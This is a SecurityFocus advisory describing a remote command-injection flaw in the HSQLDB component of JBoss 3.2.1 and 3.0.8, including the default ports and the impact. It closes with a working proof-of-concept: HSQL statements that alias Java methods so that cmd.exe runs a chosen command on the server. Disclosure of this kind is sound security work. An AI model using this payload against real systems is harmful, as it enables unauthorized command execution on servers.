source: http://www.securityfocus.com/bid/8773/info A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8. Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms. This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected. CREATE ALIAS COMPDEBUG FOR "org.apache.xml.utils.synthetic.JavaUtils.setDebug" CREATE ALIAS SETPROP FOR "java.lang.System.setProperty"; CREATE ALIAS COMPILE FOR "org.apache.xml.utils.synthetic.JavaUtils.JDKcompile"; CALL COMPDEBUG(true); CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe'); CALL COMPILE('/c REGEDIT.EXE','');